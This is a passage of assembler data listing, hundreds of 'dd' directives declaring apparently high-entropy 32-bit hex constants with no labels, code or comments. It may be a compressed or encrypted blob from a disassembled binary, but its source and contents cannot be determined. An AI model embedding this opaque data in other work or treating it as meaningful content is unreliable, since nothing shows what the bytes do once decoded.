		dd 0BC6C8E24h, 25E84800h, 0A104Ah, 0D17502CAh, 67959CFAh
		dd 0E9A65930h, 1D9318F6h, 80AF1F15h, 0AB84A556h, 0AA02D087h
		dd 95B7A22Ch, 0A3246018h, 0A89B77h, 9B63377Ah, 0F93BBAD7h
		dd 2C70496Ah, 465E70DBh, 3F130FAAh, 23860087h, 952D3A4h
		dd 0BDB5ECA7h, 9F2A0C00h, 0F254BFC2h, 0EA207690h, 9E5FC44h
		dd 8517D4C6h, 146D58B0h, 63FA2D13h, 7BFE838h, 32A51465h
		dd 0AECE23B4h, 25A08FD0h, 0E81D6734h, 17832C8Ch, 1F5278h
		dd 0B7AA037h, 9416DF7Eh, 243A6A0Fh, 5200E823h, 0F80E0335h
		dd 7EF70651h, 0E8C701ECh, 0BA9F491Dh, 0ED028E90h, 70A692F9h
		dd 0CAD68CC0h, 0ACB49A2Ah, 1E39100Bh, 374029ADh, 6138ED8h
		dd 0A2620CD3h, 0DE04EF70h, 4218FF9Ch, 15914C7h,	56F51AA0h
		dd 0C1008C22h, 0EC648C66h, 94E046E2h, 0B9367400h, 6A52A76Ch
		dd 241798D7h, 0A8B41802h, 49EE261Dh, 0FF9A8524h, 0B9AC4041h
		dd 4F73F90h, 97387800h,	88FB0764h, 0F233003Ah, 43AD87ACh
		dd 9330C641h, 0B678B9F0h, 0F3C20090h, 1C1AD2A7h, 960E3652h
		dd 0C97FA585h, 0F4F42272h, 61544495h, 0EBC71086h, 2108B126h
		dd 39105597h, 664C3310h, 70607D00h, 0C56FE528h,	79F46393h
		dd 0C38B1324h, 2FD0B9EBh, 0C607A5BBh, 0D293BA55h, 52FDB890h
		dd 0E782064Bh, 39791C38h, 7723910Ah, 0BF17E044h, 7423C43Ah
		dd 81366709h, 3A572E68h, 0B98046C1h, 0D96F3451h, 0FC00A35Ah
		dd 0A2A14870h, 62DD6E3Fh, 7F188838h, 5476E320h,	92090D3h
		dd 0F72633F5h, 7497A020h, 3DF45B58h, 235892E0h,	0BAB06032h
		dd 90A6CC87h, 0D3F0A34Ch, 1A18149Ch, 0A480C891h, 8D60AC5Dh
		dd 0A184307h, 5502406h,	795C7516h, 9E111982h, 0C254D19Ah
		dd 112630EBh, 8709886Fh, 318C49A0h, 403D2818h, 0C259BE6Fh
		dd 403097C0h, 0EE4CBFB3h, 0F8AC7C84h, 82F09357h, 64D1112Fh
		dd 58F9E898h, 58940C15h, 41BB5918h, 5700D6ADh, 0E408C2EBh
		dd 176A77h, 8B62BE72h, 0F5449791h, 701CFE24h, 2D948449h
		dd 0E0E5E760h, 11E19E23h, 7FAA00A4h, 0C2BFBBDAh, 0C47C488Fh
		dd 77715400h, 248F208h,	7FDB400h, 2EFB0F31h, 6ED43111h
		dd 0C2F678B9h, 0E5C35300h, 6AA6000Dh, 3425E86h,	0D44CF032h
		dd 8CEBBC0Ch, 9B2A6901h, 13FA71F0h, 0D211C98Bh,	0D38E010h
		dd 0AC7E8320h, 7F112E80h, 6D465C90h, 0F39BD90Bh, 476F8484h
		dd 0C080A0FAh, 9FC16h, 284A84A1h, 0C90CEA6Eh, 0B78E3700h
		dd 31E69E61h, 145090BCh, 50D110E1h, 4B459804h, 60103B2h
		dd 8751A8FEh, 0A6B107E2h, 0EE27701Ch, 0BE6A24A3h, 0A87F402Ch
		dd 0E149430Eh, 6E6D45F6h, 423AC828h, 0B6A150FAh, 0B8854C1Bh
		dd 0C4015851h, 70A57B51h, 7491D097h, 0DF15C49Eh, 8CB48176h
		dd 640805E9h, 2326BA39h, 93994024h, 1A80B1A6h, 0C4A4914Ch
		dd 0A43F4AB5h, 7295C642h, 62AD00CCh, 97ED72B1h,	0FC4CACB9h
		dd 0F0EE2270h, 10030031h, 86DCA911h, 392E24B5h,	15006248h
		dd 66D56A97h, 77DF0C30h, 0DE61953Eh, 0CD085300h, 85FBEE70h
		dd 0A84A0435h, 8D3273F5h, 0B43160B8h, 80C57626h, 29806711h
		dd 33188F55h, 6073448Ch, 1C55311Ch, 63326EC9h, 0E109D5E8h
		dd 82B0C262h, 83687BA6h, 271DF68Ch, 64977D40h, 62806791h
		dd 7E80C8E2h, 0EA59EF12h, 8C90D040h, 3E3357CCh,	1F24FF86h
		dd 0BA348088h, 17B94492h, 5227A438h, 639C00DCh,	0DB3BD2C4h
		dd 833001BDh, 9450B26Ah, 0E84AF955h, 88A0E24Ch,	0C4B956FEh
		dd 2F3AFD02h, 225AE149h, 51C4C0h, 0B55276E0h, 9C911684h
		dd 0B160947Bh, 0D2BCE3F8h, 0F74A6Bh, 0BF6A7608h, 0EA065764h
		dd 0B6FC8E9Eh, 0E7832628h, 5DA020F8h, 8CC06CA9h, 64DB2B39h
		dd 490B7698h, 1FA1CC0h,	0B49E6314h, 6C2B9AF7h, 402624C8h
		dd 9AC90BBCh, 9100E496h, 0B4BC402Eh, 86AB12h, 0A5B6B16Eh
		dd 0A4EA1E9Eh, 6246082h, 30C1823Fh, 3214202Eh, 0F30054B1h
		dd 0E4D6BCC7h, 0A60C006Fh, 0FBE201B3h, 0B15AEBF9h, 2B00506Eh
		dd 12877732h, 1019AA0Fh, 782170D4h, 207F062h, 0E4B5D3h
		dd 0FF35C05Bh, 55FDB102h, 0C01D0F15h, 40E33B8Ch, 61F2EF3Ah
		dd 2054DC92h, 9700E2C8h, 0E782169h, 5CF3B7F7h, 7F874096h
		dd 3E12008Ch, 0DC90019Dh, 3C2C3746h, 612D6480h,	0C642402Ch
		dd 41B8B1F9h, 40349310h, 0C7C8BE0Eh, 0DBD282FBh, 3120C8F3h
		dd 96833E68h, 71836C59h, 78E2D091h, 4E007872h, 28D26C7h
		dd 5C6306E2h, 102EABDBh
		dd 973E0C94h, 980250A9h, 9566F58Fh, 3990E4EDh, 7858A19Eh
		dd 0E81F2E23h, 1313E3D2h, 20BB7862h, 5CDA80A9h,	16393577h
		dd 778C50BEh, 3BB1AB09h, 60E44DD8h, 5843B715h, 2752221Dh
		dd 0FE714882h, 0B394A03Bh, 71F13DCAh, 1E4305A2h, 932636Ah
		dd 88487890h, 0E60028CFh, 2147CC2Ah, 0B2CA1Ch, 0D78E9BE3h
		dd 0F89272B8h, 8C2CB028h, 1C76F524h, 97337E40h,	66D00DDh
		dd 0B758DB0Ch, 96122B31h, 3C888578h, 8D6D01E2h,	0B16DEEFh
		dd 24EC6CF7h, 99252431h, 58604910h, 0B20D729Bh,	92152EB0h
		dd 0D1B4212Ch, 6DF419A3h, 581C0052h, 5ABE83E3h,	7127F56Ch
		dd 44D0AEFFh, 1C97BFD2h, 0E8041800h, 57400A1h, 957C7DCCh
		dd 0C700500Ah, 0CD9F52FCh, 0DFA51Dh, 33E35A75h,	7E48EA58h
		dd 0D70C2B76h, 59889ACAh, 9CE11310h, 0D020D232h, 4C427492h
		dd 0C0883448h, 18641D3Dh, 23697CD2h, 519C003Fh,	799B7B61h
		dd 400F8D2Eh, 5F85CD18h, 42FA240h, 0B9D8A5h, 4315069Dh
		dd 8CBC6CC5h, 0D7135773h, 600FD74h, 0ABF0200Bh,	7490756h
		dd 801ECEA6h, 0EFD0C20Fh, 0DF501B00h, 9AB34581h, 3B13005Ch
		dd 0CE3104C5h, 0AA0060FAh, 0E0BCE74Ah, 465841h,	0EC5677FDh
		dd 389BB30Dh, 2A3E2570h, 0AAFC8952h, 0EAB0A254h, 84E805A1h
		dd 88588B78h, 99A8C174h, 76543D59h, 0BE789D00h,	0E90DC0EFh
		dd 46CC98A7h, 4025132Ch, 0B1D10E09h, 90104F14h,	890F402Dh
		dd 0A18C4AE5h, 5EFE1885h, 2FBCB1A0h, 34A47F5Fh,	54E36079h
		dd 3332CE9h, 2B5E70D0h,	0FEF15500h, 65FF96D8h, 2111028Fh
		dd 75E6E1DEh, 366B0D40h, 0EA5B0F06h, 58391A38h,	5F14839Fh
		dd 6CAC3812h, 2DCA008Ch, 1621A93Eh, 0C52C9184h,	0D3099A13h
		dd 0FEB46136h, 40929870h, 9B0CF69Ch, 0F0A8AAFDh, 3C1B524Ah
		dd 963041E2h, 57290317h, 104C6F5Ch, 0CB7F7EB9h,	0CC4C2AEAh
		dd 27E5EC1Dh, 0F88BE992h, 0DA84D500h, 0CFD31516h, 76BCF151h
		dd 46ACE020h, 6931898h,	4F5E845h, 3D017804h, 28A0C224h
		dd 6E3907E1h, 0A7BCDEB5h, 32701C93h, 0F576B11Eh, 9F00ED10h
		dd 0A76095D1h, 0E6090A83h, 806229F8h, 0F52B1397h, 0E7CD3E65h
		dd 3882873Ch, 778B9BC3h, 15624879h, 28490018h, 70404F6h
		dd 2EFBE69Eh, 2D2FB8C0h, 9844B278h, 27280D48h, 0D018A711h
		dd 0E1C79EBBh, 0D6C59196h, 27010802h, 0F9A0606Eh, 97AB3242h
		dd 7440BCF0h, 1C9CDB88h, 0AB465Ch, 1C96FF11h, 26CC16F6h
		dd 157469h, 934B9CDEh, 854B76D1h, 0C116B023h, 9F607BE5h
		dd 8F640062h, 0F9F02DE3h, 4094875Ah, 60C97024h,	9D753D8h
		dd 0EB03BB16h, 0E784B0A2h, 4244ACE7h, 24F91664h, 0B094B6CCh
		dd 7B3128ABh, 54514D0Eh, 0A9214531h, 1F5620A2h,	0CE151200h
		dd 0CF21AF27h, 0FDBC0C95h, 0AC9C9EA7h, 7093090h, 68913EE0h
		dd 7030404Ch, 1C890087h, 29E212AAh, 28B46FD3h, 6B3B9F00h
		dd 5057CAD1h, 951158EAh, 4FC45813h, 3122C346h, 103809E8h
		dd 58BEFEh, 194A38E4h, 56E2A4D2h, 0A3C14008h, 0E8F98A3Ah
		dd 8D4C152Eh, 0EBDF042Ah, 13860E33h, 96131241h,	29D40882h
		dd 0E4E5EBC0h, 43812E9Eh, 83D65854h, 9CEFDA02h,	78CE1FBCh
		dd 5EF89E84h, 1A07EB46h, 30E6EEFEh, 4AF70577h, 30903764h
		dd 29DA8E60h, 8779ECh, 38DA86D7h, 1B523957h, 0F78850C0h
		dd 32DC7540h, 2F587DB0h, 76DA8D30h, 22914626h, 85C000A3h
		dd 2A69B1DAh, 0C3773594h, 0DC24D909h, 0E10C4F5h, 0F9868D46h
		dd 65A0EFA0h, 0BB00DE16h, 1E2A17A1h, 38A3012Ch,	838488DCh
		dd 0C0E16FBFh, 0F07B410h, 89D1C63Bh, 0A06D5722h, 0BF40A5C8h
		dd 8CC72DD2h, 0E8597483h, 0BE09100h, 75439A58h,	7C145C91h
		dd 98CBAE8h, 4B84FD04h,	949194C5h, 5EC4DC24h, 0B7318F5h
		dd 0FEDEDCA1h, 0CF10B010h, 35897D00h, 5E6A7739h, 2EE9CE36h
		dd 0E2FC2093h, 0E1000843h, 0D13DCB0Ch, 0A938E9h, 64CA1CEBh
		dd 5B7FA337h, 98047496h, 4BC1745h, 55BD0C13h, 8ABCFC74h
		dd 0F3EED40Bh, 0F61C6868h, 0A8784876h, 340AF280h, 1FE8D613h
		dd 0B8615F30h, 0C0D49DFh, 38FEA6C4h, 7E67A39h, 6CCCC503h
		dd 0F089FBFAh, 13CAE268h, 84771437h, 8864CBF0h,	0CD63C06Ch
		dd 593F804Ch, 7A748427h, 8CE458B0h, 0D0EC26h, 9B258D45h
		dd 4CEB6ED4h, 8AB38F01h, 0B9CA0763h, 0D050BC33h, 78048C86h
		dd 0ABFA2614h, 0C220EC62h, 0C0F14D0h, 6A3F221Fh, 8071999h
		dd 0C54C45Ch, 9B03C6C0h, 5DD10125h, 34169E36h, 4D2AD067h
		dd 34C2EC4Bh, 5CE80AB1h, 1426A446h, 3E4C12C4h, 432348h
		dd 0FE1CA6EDh, 7D26B86Fh, 4674007Ch, 5A1F02BBh,	54B9F4A7h
		dd 6AF90248h, 0D4709A22h, 9E22D09Ah, 0E1FF029Fh, 0FC96A710h
		dd 0E8A63071h, 4351023Bh, 0F0B292F9h, 0A1F11C24h, 8529348Ch
		dd 51112F4h, 9E7B32F4h,	9968B68h, 0E7DE0313h, 0B4680F42h
		dd 0C078A48Ch, 0D27D9EE1h, 0B01369D6h, 42C83CCAh, 0C1543EC0h
		dd 62991CE2h, 4494269h,	54848AFAh, 801CB8F6h, 659C8C51h
		dd 25F8004Ah, 45C2E07Eh, 9612DD06h, 90169F6Ch, 9211101Eh
		dd 0CB159C3Ch, 2609849Eh, 7AB40Fh, 9F81FD03h, 749BFFBAh
		dd 971CB020h, 88B8C010h, 0F78BD414h, 87AD01DDh,	73E77A5h
		dd 1800013Ah, 8638930Eh, 786C9D50h, 0E59F0019h,	762B5A96h
		dd 8B0052FCh, 69A179C9h, 950342FFh, 0D3553400h,	0D2199DE6h
		dd 0DD80F007h, 25BDA820h, 0CCE1661Fh, 46F4703Ch, 0C08E6C25h
		dd 184860CCh, 0E09A478Dh, 0CEEC6A75h, 8548FCB0h, 0EE191050h
		dd 0ED48D002h, 0D4811311h, 0C13A2BFFh, 0B8FC38D5h, 0B028CEAh
		dd 66EFD9F2h, 0CE646h, 0F34AA078h, 33D14E92h, 0BC53C200h
		dd 4B8FBAA2h, 46A0C090h, 823F0A93h, 152F1091h, 8B7391CCh
		dd 2F348205h, 8780021Eh, 0F6096476h, 64E8E79Eh,	0B84E6342h
		dd 0A0B39216h, 282379B4h, 0ACC9B1Fh, 7B7F1231h,	54E54254h
		dd 36D378E1h, 6822B0h, 2552D64h, 2F18C5E3h, 9FF40112h
		dd 1E0C40E2h, 5968E8E6h, 18492330h, 5005229Eh, 4B528CEAh
		dd 23702F42h, 0F3ED00ADh, 815CC4B5h, 8C63A139h,	0C899FA93h
		dd 60CE01Bh, 79E69F2Ch,	0E10F80C6h, 59D3C31Eh, 522E8778h
		dd 0E3E81DE4h, 3146F01h, 2C2BD3FAh, 6703C16Ch, 0FF81CC14h
		dd 76E90B37h, 2C8053ABh, 0FDEF3911h, 0CF015201h, 22F8A6F5h
		dd 25B0AF8h, 0BA1F10EAh, 0A4763DA5h, 0D1934D43h, 53C135F8h
		dd 67A21423h, 389FC630h, 18484CAEh, 3944EB10h, 9712A501h
		dd 806E11FCh, 0E207EACDh, 58B13Eh, 541F4A53h, 69004CB0h
		dd 8BF5CCFAh, 5C57EACh,	213274E8h, 0F6D8099Dh, 43A02004h
		dd 8AF3022Ch, 0BCD440F1h, 13074B25h, 4B0009E0h,	5C02E029h
		dd 860F932Bh, 9412D94h,	554315EBh, 60307404h, 986E4001h
		dd 749B48EBh, 642994B1h, 2128EE6Ch, 991CB8A7h, 10A42E6Bh
		dd 960D6826h, 42E188Ah,	12ED858Ch, 0C3DB2404h, 0AFE84C14h
		dd 6B33008Ch, 0B6B2C4CBh, 294AF41Eh, 4722082h, 196436Fh
		dd 0FF592D11h, 345724A2h, 963DF780h, 0D02D8A0Dh, 0FF248442h
		dd 4C8290B8h, 807FAE4Fh, 9ADDE4EEh, 0ACF60773h,	10A64280h
		dd 78263150h, 0A2F75D2Dh, 7CF996C8h, 8893A524h,	937CE5A4h
		dd 283A2808h, 0A500AC23h, 475CF684h, 4DEE121Eh,	350490FFh
		dd 5A006529h, 0C3F249FCh, 0E87F47C7h, 8E0305A4h, 10042876h
		dd 0F443389Ah, 0A33141A2h, 0BE058DCCh, 35AC403Ch, 0F2000E60h
		dd 0CE0101Dh, 0F0036E88h
		dd 149E5C33h, 23643A96h, 8F8600AEh, 6D335056h, 744D6802h
		dd 41F0BF6Ah, 283D3E64h, 1BE8A103h, 0B20B4889h,	6A599BF5h
		dd 0AA9C6088h, 8C810449h, 0A0BAFDDDh, 0F514D1C4h, 48FA71h
		dd 0D8E96980h, 66C7596h, 786D772Ah, 9802C17Dh, 0F24CDD84h
		dd 644C5C9Ch, 988CA82Fh, 0A495F408h, 26EC17A8h,	301C812Fh
		dd 4C20A46Dh, 0B1E2136h, 0E8349522h, 0BC77B482h, 0A43FB8A5h
		dd 9300A00Ch, 2A159F3Dh, 0F7934h, 0B4B16B6h, 77CD715Bh
		dd 0A51A5C01h, 50FF7F32h, 0FABF7980h, 57477E6Ah, 1B01B52h
		dd 0B5E3EF60h, 647878CBh, 0B81D2078h, 0A89C27E0h, 1A3465Eh
		dd 0FBC746ADh, 4BF88E48h, 39420845h, 2CBAF31Dh,	894F5093h
		dd 120C521Ah, 81FF5A83h, 52203848h, 0A7109E18h,	9CD559ECh
		dd 0A5274058h, 0F453486Ah, 0FAA8158h, 5F4399F9h, 0C47478FAh
		dd 20769D00h, 27F67C50h, 0C0447293h, 62028046h,	9BFA2C14h
		dd 0BC10E931h, 2102147Ah, 0D98EAA15h, 3DC89888h, 9717DDFh
		dd 9CDDBE1Fh, 877DDCB4h, 4A2A1F88h, 0FEB0928Bh,	661894ACh
		dd 213E1022h, 160A430Ah, 820818A8h, 0D0F1F73h, 0E818A0EEh
		dd 222CD329h, 99329703h, 39C06056h, 0D4D083C4h,	91C08186h
		dd 33154090h, 1AE5E76h,	17BABF2Ch, 34C905A4h, 0E7926C6Ch
		dd 0F1EC1CA0h, 0CD49A064h, 0F8CFE0D8h, 9A20169Eh, 0BCE209C5h
		dd 0AC78F522h, 7C40784Eh, 0B184D763h, 0B3FF00E3h, 0D476F8FCh
		dd 601D7AE2h, 5DFF24A4h, 3E247C4Ch, 2A874423h, 2E606632h
		dd 0B16378h, 8C96DC6Bh,	0D311285Ch, 7A00F649h, 89D50B09h
		dd 0D725809Ah, 16AB330Dh, 402C2438h, 0ED6C77B0h, 8C0426A5h
		dd 8BD032A9h, 0AC1ED0E8h, 0B7C8007Fh, 15A2D5BCh, 842CA32h
		dd 0B00C07E2h, 0BCD683F3h, 0AC9B2A1Dh, 647F6900h, 0FF3FB1h
		dd 7D315228h, 76D21594h, 0D454CE0Eh, 92934356h,	5E11004Fh
		dd 0F27B0660h, 960B5259h, 50CFEB77h, 26A900D0h,	28E6DE1h
		dd 5648203Dh, 66FF121Dh, 0D8BD0447h, 8472A9h, 8B94BBFDh
		dd 0C9D60E4Dh, 0A03D6F25h, 39FFED54h, 29380517h, 84F21A22h
		dd 0A724807Dh, 205C8E76h, 0CCF426A1h, 64F4C813h, 2F03DBCh
		dd 8651DC80h, 0DC24806h, 4A059E00h, 0A19A306Ch,	0BC95072Bh
		dd 0AFC5284Dh, 75DB7607h, 748B978h, 0AC9D0F8Fh,	895797D0h
		dd 0EF6B0FF6h, 0D7800B71h, 3F35F27Ch, 5F015200h, 8FB5DA90h
		dd 0ABE402D6h, 5A1433E6h, 520000E4h, 0DE29B24h,	7E4EEB4h
		dd 72CC393h, 0D93410DFh, 951D904Dh, 2941EB73h, 288F102Dh
		dd 4540F0h, 0EFD01C0h, 3ED70751h, 0EA802096h, 0FA785F21h
		dd 4745387Ch, 595BC900h, 0A0FD4112h, 71396F01h,	0F0ADE5D6h
		dd 403FDF31h, 0F7027468h, 0AC30481Bh, 0D310A027h, 3F8370C7h
		dd 404A7849h, 33607284h, 7B005AF0h, 8640821Dh, 0E72A28h
		dd 0FEE2DB73h, 72190485h, 9D5AC600h, 0A42E8C61h, 0B834037Eh
		dd 5B69FF42h, 0BE1E4EC0h, 2B3FD20Eh, 59E88027h,	0FEDF30h
		dd 9C3CDB69h, 8CBB57FDh, 1B0FE706h, 613EE6h, 0A217F1D4h
		dd 4B654966h, 0C6566401h, 0E21CE823h, 0D03F83C3h, 9C454Fh
		dd 8CE7B127h, 0AFF5FB76h, 6A04BC18h, 34E48h, 0D3CAFA6Ch
		dd 0C0162F48h, 25CB201h, 0F2BC3B4Ch, 1AE28880h,	0E8CF4EE4h
		dd 0E5AF0F18h, 394FA0h,	0B42CC27Eh, 4125AD3Eh, 3259DF01h
		dd 0B0F01896h, 365C2980h, 0FD3F623Eh, 89F5DD01h, 0B1DC0FE3h
		dd 0BD5B218Fh, 1A6ECC1Dh, 0CBE42AF1h, 0EE2DD3Eh, 0B270AF7h
		dd 8C51886Ah, 0FA916482h, 2176C0F6h, 2B6D03A6h,	0F5335DA5h
		dd 76AB8AA8h, 165A3Eh, 2D558671h, 3588FFh, 9F36EAC9h, 0A4E80C87h
		dd 0D92AD700h, 0EF30CCF9h, 0F0D201F7h, 58DF05ADh, 18C6F3E1h
		dd 4295371Fh, 5DA014CEh, 0ED4120EBh, 0A10707CEh, 0F82BD360h
		dd 550192A0h, 0C3669A8Ch, 93FB5F2Eh, 0BBA2E0CDh, 97A438A6h
		dd 0F38DD00h, 0D246AB32h, 9F8C2B43h, 27206880h,	1148404h
		dd 15D13DE4h, 0F0E1CA7Ch, 9D004C8Fh, 940B2216h,	61EF39h
		dd 5E74A9DBh, 753528CEh, 3455892Ah, 0AEEB08C5h,	0C1518004h
		dd 0E0A0436Eh, 0E3C044h, 364A40C1h, 51202322h, 7E7F5E01h
		dd 8C1397F7h, 40B8ECh, 0D278CD32h, 0EBA3CA8Ah, 37B8B58h
		dd 0A67E86E2h, 0A44AC03Dh, 0CDBA0C56h, 0D729B848h, 73842284h
		dd 0CF88667Ch, 8E389BCh, 0B271447Ah, 3A2B4284h,	44DE444Fh
		dd 2284AE86h, 9B42BB9Fh, 21954C11h, 196C0FBAh, 4722D0h
		dd 0D05AE980h, 53BC72FEh, 0E8843Fh, 0A86929C9h,	9598507Fh
		dd 0A100A0D8h, 2C21281Ah, 479C8Fh, 0E929FCACh, 6E6385E3h
		dd 6D176500h, 1F22C624h, 15961820h, 0DECE40D1h,	0AF8DBF00h
		dd 65828D3h, 95784857h,	0FD250900h, 0DF685A5h, 0E722CAA0h
		dd 4A1838h, 81A64620h, 980E41Dh, 7B792AF9h, 6FEC1B01h
		dd 0FF71CC1Eh, 94B3FA00h, 2466960Ch, 92B20712h,	0F03C3F8Fh
		dd 0EC876B58h, 59453100h, 1CCA6C1h, 33E30F1Ah, 8D816A6Fh
		dd 409EDBB3h, 74306996h, 0CB89E200h, 5B22FDAAh,	490E00A7h
		dd 3B0FA5ADh, 0EA007F35h, 4B3D8255h, 0C6D10Dh, 24374F43h
		dd 3B8FD925h, 74312000h, 0D46D29C8h, 3FCB7BEBh,	8200B0AEh
		dd 6F92956Ah, 6E007C03h, 0C5E98926h, 62FD29h, 7D591B25h
		dd 39FA6D38h, 6B5C201h,	8420BD08h, 24DF6BFCh, 0F48C072h
		dd 3F407B03h, 1337DA71h, 0B67E1500h, 0BDA6C4CBh, 0F1A301D6h
		dd 9B660655h, 8484402Dh, 0A00C8B6h, 6A8FFE21h, 549009h
		dd 0EFFD6A4h, 9424A938h, 460008FAh, 3011B42Dh, 0A7ABA28h
		dd 0B82060D6h, 7B906CCh, 4E3DC8B0h, 0C1D08047h,	85F70C49h
		dd 80324CAFh, 719FB00h,	335CE49Bh, 0F939D500h, 0BACED3F6h
		dd 7BDA009Ah, 600AD050h, 0C40AEF61h, 9C807C8Ah,	884E14h
		dd 307F3A35h, 0DF9A9Ch,	25CF578Ch, 0AC5AC30Ch, 59DD9100h
		dd 83BA06C7h, 0E847F819h, 6104036Ah, 469E42B0h,	0E4131026h
		dd 0AB018E26h, 0CACB7E17h, 181E20h, 0A31271BCh,	4AB16A74h
		dd 24C76700h, 0C64B576Eh, 501B0137h, 0DFAEF475h, 5BBE7090h
		dd 16C0B850h, 3A2C0500h, 84776632h, 0A8630414h,	90ABDFCBh
		dd 0BEADAC6Ch, 6505E500h, 5F4F152Bh, 694C0036h,	0B80BB6Bh
		dd 0FA00B4E4h, 7C18A823h, 0EA437D9h, 6E4502EAh,	56197180h
		dd 32908542h, 0C50FE673h, 80467521h, 6E1A3663h,	3CFE00CBh
		dd 0DB7402D4h, 42000DEFh, 0A5B11BE8h, 4C0AC2h, 78E914A9h
		dd 0BAC1E21Fh, 0CF31FB00h, 7A928EA1h, 5D0A3E59h, 66282500h
		dd 0EB6165F1h, 6AF33C00h, 0A11DE140h, 917167h, 5E9F8CDCh
		dd 2C129B1h, 0E2876312h, 0DDC3E800h, 0F36FCB9h,	1B93D725h
		dd 0AA9D0EB6h, 48D26C80h, 0ED00A2DDh, 5539BA71h, 3DBC2220h
		dd 76001EC7h, 8DA8F837h, 7B008B03h, 31F6B1C4h, 4C6EE8h
		dd 0C225D204h, 2107A8CBh, 64DE7D02h, 40412E3Dh,	8AB430h
		dd 363462C6h, 0D1A8E082h, 0ED8FFC07h, 6350F6A0h, 3877519h
		dd 600640E8h, 0DFB97B2Ch, 0F0F8804Dh, 0D0BCE5C3h, 0B2080246h
		dd 0A281887Ch, 9690040h, 451DF396h, 79782C80h, 1F021EECh
		dd 86B15358h, 0BCE67BE4h, 0FDF2010Fh, 2C1BA0D4h, 0A24E18h
		dd 0D843985h, 5BDBFAFCh, 4EEE009h, 0F60C09D7h, 8CD0021h
		dd 146BC323h, 0A57E9F05h, 0A00C24B2h, 1EF02901h, 92F79254h
		dd 0E0900EB7h, 68072B4Eh, 4B55E00Eh, 1E0052E7h,	2986C0FEh
		dd 4D55EAAh, 286103A8h,	0EEC08134h, 0CF7D475h, 0D186261Ah
		dd 0FE808038h
		dd 4C02219Eh, 1B0B6EDEh, 0F60276C5h, 4840FBBEh,	970026B0h
		dd 0B85F71F2h, 0D16B683h, 0FD9BF165h, 0F6783020h, 3CD1D400h
		dd 27CCB7CBh, 0CA6700D0h, 0D3660FDh, 10003284h,	5395D26Ah
		dd 59F8B2h, 44C98D18h, 0CF6C1ABCh, 0D4ED0800h, 978BDAF3h
		dd 4C9821h, 482CA8A4h, 27E66EEh, 855D9300h, 0C3BECEBDh
		dd 0FF86765Bh, 50809444h, 8E4115h, 9E746A72h, 71EE2D57h
		dd 70DE853Eh, 0BE00B871h, 0E951394Ah, 18255442h, 3404F2C1h
		dd 3A072BE3h, 0C7FA2F7Dh, 70BE1120h, 3887E79h, 0EA096FF4h
		dd 6AC0ED9Ch, 0B000B71Ch, 74D5B839h, 1C4E38BAh,	0C0949BCCh
		dd 4809326Ch, 180063E1h, 0EEDCC2D7h, 0FEB4B355h, 0B8900E7h
		dd 0AF3F251Dh, 38522180h, 0CD0071BCh, 185A1529h, 3CB05F76h
		dd 19A61F12h, 0EA1000D9h, 657D7A57h, 0FCA66B07h, 233094AEh
		dd 0C1770Fh, 0EE4AADD2h, 490660CDh, 0C8B37F0Fh,	4484801Eh
		dd 7428CFh, 0A3862915h,	0D86CC393h, 0AB239D00h,	4C640E83h
		dd 583E07B3h, 909460B4h, 463CB0CCh, 8A008470h, 487D8F2Ah
		dd 3B4125h, 65621103h, 56CD6E87h, 9DE0CF00h, 606DB5B0h
		dd 0FA3900C4h, 6A1510DDh, 0C100974Ch, 82878FB2h, 1B357E4h
		dd 1C930968h, 0C0836306h, 2478DED7h, 0B94BBC00h, 57A344A5h
		dd 0D801F98h, 1E45922Fh, 0D7BAC0F0h, 526CC4D2h,	0C138E800h
		dd 10FD7FCCh, 9F9847h, 7877C789h, 7C501709h, 0CF97AB03h
		dd 0E16CBDDh, 0C08F53D6h, 6441F6C0h, 0A448B198h, 199909F0h
		dd 80DCAE70h, 346167CDh, 0D0560076h, 0C0FDC188h, 685C5ECFh
		dd 17EE0420h, 0C6A8A7D8h, 0ABB85302h, 54C0B4F7h, 571DBF85h
		dd 6EC07672h, 0DD083D5Ah, 62880391h, 39DBB680h,	921CA9A0h
		dd 7A9D7501h, 5514CDD5h, 0FA6D3FCh, 0DC224216h,	27ED00F2h
		dd 2071E558h, 0B41B48h,	89DFC690h, 0C62B71Ah, 0BEFF9F42h
		dd 20C01E70h, 0C120F974h, 770800EEh, 1612C962h,	65008884h
		dd 1DD73D69h, 15372B9h,	1371AE5Eh, 8032CBC3h, 560BAFB8h
		dd 482EF557h, 3E00A84Eh, 97640C59h, 353AFE87h, 0E79F8599h
		dd 0FC1D70B3h, 0F33B8B81h, 0F3601F63h, 80A200D7h, 0E3B5FA27h
		dd 2900EF82h, 3D4B777Dh, 1851238h, 0A85D67B6h, 0F8231C0Ch
		dd 7A14D25Ch, 2EF0444Dh, 0C4002C14h, 5763D694h,	0E0730009h
		dd 5640CD6Fh, 0B9074553h, 594867D4h, 9B8C3F30h,	2DBF00E7h
		dd 0A44F66F9h, 56989F83h, 0D4122802h, 81A548E8h, 0DF6A09F0h
		dd 0BD00BC37h, 59D10CDCh, 7AE05516h, 6CC9FC00h,	5128C35Eh
		dd 0C034063Ch, 54B24623h, 245B0702h, 601E9476h,	8B4FFFh
		dd 4B16CED1h, 40DE86D9h, 0C2F3CC00h, 0B9530592h, 1A67CDDh
		dd 7C2478E1h, 317148F2h, 0E03248h, 0E220184Eh, 0F2EA1305h
		dd 8ABD0B11h, 0E481C15Ch, 0C991C4F5h, 3013DD75h, 0B6002C60h
		dd 9F3A6EBAh, 3704B4h, 0B389331Eh, 81DF16CFh, 58994E39h
		dd 0D7140094h, 0FBA07679h, 0BB05055Ch, 0C0CF3BA9h, 8AD4B3D0h
		dd 722AC701h, 0B985D82Dh, 0D2E4F071h, 0F29A008Bh, 0E818114Ah
		dd 4C009954h, 3EFBA341h, 209756Dh, 79921651h, 0D45196BEh
		dd 0CC1EF1Fh, 87139AB1h, 38528C60h, 0A60024B0h,	2CFDA185h
		dd 33017D0Fh, 689DB478h, 0DCCCDAD5h, 0FE930766h, 90818F90h
		dd 0EF9FB7E1h, 5061BE00h, 2EC93E39h, 3BC7B83Ah,	0F700F136h
		dd 63AE55A9h, 0E301BEEEh, 6141590Dh, 0EAC4E69Bh, 0D4690004h
		dd 49F6A289h, 0F8F03742h, 0AEDAC100h, 10343B85h, 0B88A13C2h
		dd 7CC01EFh, 20E6B068h,	43EAAE24h, 0B898D32Eh, 48171012h
		dd 0A048C40Fh, 0DC5B60BCh, 87B70793h, 402DFC4Fh, 830AA825h
		dd 0B01AD501h, 0CA4997E4h, 900D74F8h, 0CECD0734h, 0D4F17F1Fh
		dd 78AC800Fh, 0F90263E3h, 6B829CC8h, 886C604Eh,	1D7A00BEh
